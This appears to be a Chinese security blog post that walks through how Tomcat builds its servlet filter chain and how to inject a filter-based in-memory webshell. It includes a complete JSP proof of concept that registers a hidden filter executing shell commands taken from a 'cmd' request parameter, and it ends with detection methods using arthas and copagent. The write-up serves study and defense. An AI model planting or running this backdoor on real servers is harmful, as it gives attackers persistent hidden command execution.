Filter流程

图片来源:https://blog.csdn.net/qq_37924905/article/details/108616779

image.png
Filter可以是链式的,多个Filter过滤同一请求

Filter注册流程

创建 maven Java web项目,不多说了,不会的自行百度嗷。然后pom.xml 添加如下内容

  1. <dependencies>
  2. // 测试
  3. <dependency>
  4. <groupId>junit</groupId>
  5. <artifactId>junit</artifactId>
  6. <version>4.11</version>
  7. <scope>test</scope>
  8. </dependency>
  9. <dependency>
  10. <groupId>javax.servlet</groupId>
  11. <artifactId>javax.servlet-api</artifactId>
  12. <version>3.0.1</version>
  13. <scope>provided</scope>
  14. </dependency>
  15. <dependency>
  16. <groupId>javax.servlet.jsp</groupId>
  17. <artifactId>jsp-api</artifactId>
  18. <version>2.1</version>
  19. <scope>provided</scope>
  20. </dependency>
  21. // tomcat源码
  22. <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
  23. <dependency>
  24. <groupId>org.apache.tomcat</groupId>
  25. <artifactId>tomcat-catalina</artifactId>
  26. <version>8.5.51</version>
  27. </dependency>
  28. </dependencies>

项目结构如下,文件夹不存在的可以自行创建
image.png
FilterDemo如下

package com.yq1ng.Filter;

import javax.servlet.*;
import java.io.IOException;

/**
 * @author ying
 * @Description
 * @create 2021-12-05 3:54 PM
 */

public class filterDemo implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("filterDemo 已被初始化...");

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("进行过滤操作...");
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {

    }
}

web.xml添加

  <filter>
    <filter-name>filterDome</filter-name>
    <filter-class>com.yq1ng.Filter.filterDemo</filter-class>
  </filter>
  <filter-mapping>
    <filter-name>filterDome</filter-name>
    <url-pattern>/*</url-pattern>
  </filter-mapping>

开始debug,看自定义Filter怎么被调用。首先是org\apache\catalina\startup\ContextConfig.class#configureContext()读取、解析xml文件,返回解析后的实例,这个不说了,代码好长。org\apache\catalina\core\StandardWrapperValve.class#invoke()中创建了filterChain
image.png
跟进看看,在42行获取的当前web应用的信息
image.png
主要关注图中的三个属性

  1. filterConfigs:存放 filterDef(见filterDefs) filter实例对象及其他信息
  2. filterDefs:存放过滤器名、过滤器全限定名及其他信息
  3. filterMaps:存放过滤器名字(FilterName 对应作用url(URLPattern

image.png
image.png
这里遍历filterMaps,比较请求url是在filter作用路径中,如果路径符合要求则在context中寻找对应的filterConfig,如果filterConfig存在且不为null则进入filterChain.addFilter(),跟进
image.png
for循环来判断我们的filter是否存在,若存在则直接return,也就是去重。
下面的if判断n是否与当前filter容量相等,如果相等则对filter的空间+10,然后将我们的filter加到当前filters中,这部分相当于扩容。看一下filter和n
image.png
然后返回,for循环过后filterChain算是装载完成了。然后又回到org\apache\catalina\core\StandardWrapperValve.class#invoke()就开始调用filter链
image.png
跟进doFilter()
image.png
继续
image.png
在这里就会调用我们自定义的Filter
image.png
来一张宽字节的总结
image.png

Filter内存马实现

先提一个特性,在 Servlet 3.0 后, servlet和filter,甚至Listener都可以进行动态的创建,从javax\servlet\ServletContext.class接口中也能直观看出
image.png
image.png
image.png
那么就可以通过jsp动态创建恶意的Filter。从注册流程可以知道,组装filterChain的时候是通过context获取其filtersMaps,怎么获取这个context然后把恶意过滤器添加到第一位呢?

获取context

org\apache\catalina\connector\Request.class发现getContext()方法,此方法可以获取context
image.png
怎么获取Request对象呢?实际Tomcat在使用request的时候不是用的Request这个类,而是RequestFacade,因为Request这个类里面有很多属性和方法,这些方法是不想对外公开的,所以使用RequestFacade进行包装,来看一下
image.png
所以可以使用反射获取Request

<%
    Field req = request.getClass().getDeclaredField("request");
    req.setAccessible(true);
    Request req1 = (Request) req.get(request);
    StandardContext standardContext = (StandardContext) req1.getContext();
%>

poc

poc怎么得来的可以看看https://blog.csdn.net/angry_program/article/details/116661899,很详细,我也没细看(逃,poc很容易理解,这里就直接看poc了

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.InputStream" %>
<%--
  Created by IntelliJ IDEA.
  User: ying
  Date: 12/5/2021
  Time: 9:06 PM
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>test</title>
</head>
<body>
<%
    //  定义过滤器名字
    final String name = "yq1ng";
    //  获取context
    Field req = request.getClass().getDeclaredField("request");
    req.setAccessible(true);
    Request req1 = (Request) req.get(request);
    StandardContext standardContext = (StandardContext) req1.getContext();
    //  获取filterConfigs
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
    //  如果过滤器不存在则进行注入
    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    servletResponse.getWriter().flush();
                    return;
//                    Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
//                    int len = process.getInputStream().read(bytes);
//                    servletResponse.getWriter().write(new String(bytes,0,len));
//                    process.destroy();
//                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };

        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        //  将filterDef添加到filterDefs中
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        //  将恶意Filter移到第一位
        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("Inject Success !");
    }
%>
</body>
</html>

启动服务,访问 test.jsp
image.png
image.png
这样还是不行,和普通的webshell没区别,还是会有恶意文件落地,所以还要结合反序列化来实现无文件落地的内存马

查杀

参考:https://gv7.me/articles/2020/kill-java-web-filter-memshell/

查杀思路大致为使用Agent遍历所有已经加载到内存中的class,判断filter来源(ClassLoader)、web.xml配置、filter常见恶意名字、检查Filter对应的ClassLoader是否存在对应的class文件、检查doFilter方法中是否含有恶意代码(Runtime、Process、defineClass等等

arthas

https://github.com/alibaba/arthas
适合对业务整体代码较为熟悉的时候使用

启动tomcat,注入内存马,使用java -jar .\arthas-boot.jar启动工具,选择 org.apache.catalina.startup.Bootstrap 进程
image.png
使用sc命令列出JVM已加载的所有Filter:sc *.Filter

docs:https://arthas.aliyun.com/doc/sc.html

image.png
使用jad命令反编译class:jad --source-only org.apache.jsp.test_jsp

docs:https://arthas.aliyun.com/doc/jad.html

image.png
使用watch命令监控函数调用情况:watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=null}.{filterClass}'
image.png

copagent

https://github.com/LandGrey/copagent

arthas二次开发,这个应该挺适合检测内存马的,只需要java -jar .\cop.jar即可
image.png
这两个使用了agent技术,暂不深入,因为我还没学到,嘤嘤嘤